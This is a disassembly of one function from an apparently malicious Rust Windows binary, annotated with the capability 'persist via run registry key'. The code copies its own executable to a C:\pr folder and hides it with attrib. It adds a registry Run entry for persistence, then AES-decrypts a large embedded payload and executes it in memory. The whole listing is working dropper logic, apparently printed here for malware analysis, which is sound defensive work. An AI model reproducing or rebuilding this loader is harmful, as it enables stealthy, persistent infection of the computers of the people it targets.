Function at 0x140002b00
Capabilities:
Persist via run registry key

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x6e8
movaps xmmword [rsp + 0x6d0], xmm6
mov byte [rsp + 0x150], 1
lea rdx, str.C:_pr
lea rcx, [rsp + 0x150]
mov r8d, 5
call dbg._create
test rax, rax
jne 0x1400033b6
movabs r13, 0x8000000000000000
lea rcx, [rsp + 0x150]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rdi, qword [rsp + 0x150]
cmp rdi, r13
je 0x1400033bb
mov rbx, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x160]
mov rcx, rbx
mov rdx, rsi
call sym.std::path::Path::file_name::h540fc2b263400e3f
test rax, rax
je 0x1400033c5
mov qword [rsp + 0x20], rdx
lea rdx, str.C:_pr
lea rcx, [rsp + 0x30]
mov r8d, 5
mov r9, rax
call sym.std::path::Path::_join::he9bfec2e9d81dcf5
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x150]
mov rdx, rbx
mov r8, rsi
mov r9, r14
call dbg.copy
cmp qword [rsp + 0x150], 0
jne 0x1400033d6
lea rdx, str.attribhC:_pr_.exe
lea rcx, [rsp + 0x150]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea rsi, [rsp + 0x410]
lea rdx, [rsp + 0x150]
mov r8d, 0xc8
mov rcx, rsi
call sym.memcpy
lea rdx, [0x14075a726]
mov r8d, 2
mov rcx, rsi
call dbg.arg
lea rdx, str.C:_pr
lea rcx, [rsp + 0x410]
mov r8d, 5
call dbg.arg
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x410]
call dbg.output
mov rdx, qword [rsp + 0xa0]
cmp rdx, r13
je 0x1400033e0
mov rsi, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xc0]
test rdx, rdx
je 0x140002c9a
mov rcx, qword [rsp + 0xa8]
mov r8d, 1
call sym.__rust_dealloc
test rsi, rsi
je 0x140002cb0
mov r8d, 1
mov rcx, r12
mov rdx, rsi
call sym.__rust_dealloc
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h85bf0334995e77db
lea rdx, str.attribhC:_pr_.exe
lea rcx, [rsp + 0x150]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea r12, [rsp + 0x410]
lea rdx, [rsp + 0x150]
mov r8d, 0xc8
mov rcx, r12
call sym.memcpy
lea rdx, [0x14075a726]
mov r8d, 2
mov rcx, r12
call dbg.arg
lea rcx, [rsp + 0x410]
mov rdx, r14
mov r8, r15
call dbg.arg
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x410]
call dbg.output
mov rdx, qword [rsp + 0xa0]
cmp rdx, r13
je 0x1400033f7
mov r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xc0]
test rdx, rdx
je 0x140002d6b
mov rcx, qword [rsp + 0xa8]
mov r8d, 1
call sym.__rust_dealloc
test r15, r15
je 0x140002d81
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
lea r15, [rsp + 0x410]
mov rcx, r15
call sym.core::ptr::drop_in_place_std::process::Command_::h85bf0334995e77db
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002da9
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
test rdi, rdi
je 0x140002dbf
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xa0]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rdi, qword [rsp + 0xa0]
cmp rdi, r13
jne 0x140002deb
lea rcx, [rsp + 0xa8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h42ec22359adae118
jmp 0x140002faa
mov rbx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
mov rcx, rbx
call sym.std::path::Path::file_stem::h5db49ebe1309f9f3
test rax, rax
je 0x140002f94
mov r8, rdx
lea r14, [rsp + 0x70]
mov rcx, r14
mov rdx, rax
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::h54ebd581e1c4de6c
lea rax, [0x14075a728]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 6
lea rax, [rsp + 0x90]
mov qword [rsp + 0x410], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h9ca0466de4d6d781]
mov qword [rsp + 0x418], rax
mov qword [rsp + 0x420], r14
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::hb8631b597b1f21b3]
mov qword [rsp + 0x428], rax
lea rax, [0x14075a738]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 3
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x168], 2
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x150]
call dbg.format_inner
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunpr
lea rcx, [rsp + 0x30]
mov r8d, 0x2d
mov r9d, 0xf003f
call sym.winreg::RegKey::open_subkey_with_flags::hac577787745b116f
mov r14, rdx
test rax, rax
jne 0x1400034fd
mov qword [rsp + 0x410], r14
lea rdx, [0x14075a795]
lea rcx, [rsp + 0x410]
lea r9, [rsp + 0x50]
mov r8d, 2
call sym.winreg::RegKey::set_value::h544138d80bcc248f
mov qword [rsp + 0x150], rax
test rax, rax
je 0x140002f44
lea rcx, [rsp + 0x150]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h42ec22359adae118
lea rcx, [rsp + 0x410]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
lea rcx, [rsp + 0x30]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140002f75
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
cmp rdx, r13
je 0x140002f94
test rdx, rdx
je 0x140002f94
mov rcx, qword [rsp + 0x78]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x140002faa
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
movaps xmm0, xmmword [0x1400aa270]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
cmp al, 0xff
je 0x140002fcd
cmp al, 1
je 0x140003021
jmp 0x140003081
lea rcx, [rsp + 0x410]
mov edx, 1
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::hc830f3902925ba49
lea rcx, [rsp + 0x150]
mov edx, 7
xor r8d, r8d
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::h80a852ebba4e4411
mov esi, dword [rsp + 0x418]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003077
call sym.core::core_arch::x86::xsave::_xgetbv::hfabc74af9f93e5e2
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov rax, qword [0x1400a9008]
mov byte [rax], sil
je 0x140003081
lea rdi, [rsp + 0xa0]
lea rdx, [rsp + 0x70]
mov rcx, rdi
call sym.__aes::ni::Aes128Enc_as_crypto_common::KeyInit_::new::h12f7991848897a2b
lea rcx, [rsp + 0x4c0]
mov rdx, rdi
call fcn.140002710
lea rbx, [rsp + 0x410]
mov r8d, 0xb0
mov rcx, rbx
mov rdx, rdi
call sym.memcpy
lea rcx, [rsp + 0x150]
mov r8d, 0x160
mov rdx, rbx
call sym.memcpy
jmp 0x140003093
mov rax, qword [0x1400a9008]
mov byte [rax], 0
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x70]
call sym.aes::soft::fixslice::aes128_key_schedule::h25f989570291e32c
lea rcx, [rsp + 0x410]
mov r8d, 0x2c0
lea rdx, [rsp + 0x150]
call sym.memcpy
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
lea r12, [rsp + 0x160]
lea rax, [0x1400aa450]
mov r13d, 0x6b0280
mov ebx, 1
lea rbp, [rsp + 0xb0]
xor edi, edi
xorps xmm6, xmm6
jmp 0x140003124
mov rcx, rdi
sub r13, r14
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rbx + rcx], xmm0
lea rdi, [rcx + 0x10]
mov qword [rsp + 0x40], rdi
mov rax, rsi
test r13, r13
je 0x1400032d7
cmp r13, 0x10
mov r14d, 0x10
cmovb r14, r13
test r14, r14
je 0x140003399
lea rsi, [rax + r14]
cmp r14, 1
jne 0x1400031e0
lea rcx, [rsp + 0x150]
test r14b, 1
je 0x140003179
cmp rcx, r12
mov edx, 0
cmovne rdx, rcx
mov r8, rsi
cmp rax, rsi
je 0x140003174
movzx ecx, byte [rax]
inc rax
mov r8, rax
mov byte [rdx], cl
mov rax, r8
cmp r13, 0x10
jb 0x140003399
cmp rax, rsi
jne 0x140003399
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
cmp al, 1
jne 0x140003260
lea rcx, [rsp + 0x410]
lea rdx, [rsp + 0x50]
mov r8, rdx
call sym._ZN71__LT_aes..autodetect..Aes128_u20_as_u20_cipher..block..BlockDecrypt_GT_20decrypt_with_backend5inner17h92db54cefd9256cfE.l
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, 0xf
ja 0x140003100
jmp 0x1400032b5
mov edx, r14d
and edx, 0x1e
lea rcx, [rsp + 0x150]
jmp 0x140003203
mov r9b, r11b
add rcx, r9
mov byte [r10], r15b
add rdx, 0xfffffffffffffffe
je 0x140003151
xor r9d, r9d
cmp rcx, r12
setne r11b
mov r10d, 0
cmovne r10, rcx
mov r8, rsi
cmp rax, rsi
je 0x140003229
movzx r15d, byte [rax]
inc rax
mov r8, rax
mov r9b, r11b
add rcx, r9
mov byte [r10], r15b
xor r9d, r9d
cmp rcx, r12
setne r11b
mov r10d, 0
cmovne r10, rcx
mov rax, rsi
cmp r8, rsi
je 0x1400031f0
movzx r15d, byte [r8]
inc r8
mov rax, r8
jmp 0x1400031f0
movups xmmword [rbp + 0x20], xmm6
movups xmmword [rbp + 0x10], xmm6
movups xmmword [rbp], xmm6
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x410]
lea r8, [rsp + 0xa0]
call sym.aes::soft::fixslice::aes128_decrypt::h99e63081ab0bfb54
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, 0xf
ja 0x140003100
mov r8d, 0x10
lea rcx, [rsp + 0x30]
mov rdx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::he989e546a16ed663
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
jmp 0x140003103
test rdi, rdi
je 0x140003473
movzx r12d, byte [rcx + rbx + 0xf]
mov r14, rdi
sub r14, r12
jb 0x140003484
mov r15d, 1
je 0x140003323
js 0x1400034e1
mov rax, qword [0x14077f748]
movzx eax, byte [rax]
mov edx, 1
mov rcx, r14
call sym.__rust_alloc
mov r15, rax
test rax, rax
je 0x1400034eb
mov rcx, r15
mov rdx, rbx
mov r8, r14
call sym.memcpy
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140003349
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
mov rcx, r15
mov rdx, r14
call sym.memexec::memexec_exe::he8e656062cfd57ec
cmp eax, 0xe
jne 0x14000349b
cmp rdi, r12
je 0x14000337d
mov r8d, 1
mov rcx, r15
mov rdx, r14
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x6d0]
add rsp, 0x6e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x1400aa280]
lea r8, [0x1400aa318]
mov edx, 0x2a
call dbg.expect_failed
jmp 0x14000358a
mov rsi, rax
jmp 0x14000343a
mov rsi, qword [rsp + 0x158]
jmp 0x14000343a
lea rcx, [0x14075a708]
call sym.core::option::unwrap_failed::he3c2cd0918eb9f85
jmp 0x14000358a
mov rsi, qword [rsp + 0x158]
jmp 0x14000340c
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h85bf0334995e77db
jmp 0x14000340c
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h85bf0334995e77db
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140003424
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
test rdi, rdi
je 0x14000343a
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x150], rsi
lea rax, [0x1400aa420]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h42ec22359adae118
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000358a
lea rcx, [0x14075a6d0]
call sym.core::option::unwrap_failed::he3c2cd0918eb9f85
jmp 0x14000358a
lea r8, [0x14075a6e8]
mov rcx, r14
mov rdx, rdi
call dbg.slice_end_index_len_fail
jmp 0x14000358a
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x150], eax
mov dword [rsp + 0x154], ecx
lea rax, [0x14075a798]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_memexec::error::Error_::hf199b9842f25d395
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x14000358a
call dbg.capacity_overflow
jmp 0x14000358a
mov ecx, 1
mov rdx, r14
call dbg.handle_alloc_error
jmp 0x14000358a
lea rcx, [rsp + 0x30]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140003521
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
cmp rdx, r13
je 0x140003540
test rdx, rdx
je 0x140003540
mov rcx, qword [rsp + 0x78]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x140003556
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x150], r14
lea rax, [0x1400aa438]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h42ec22359adae118
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
ud2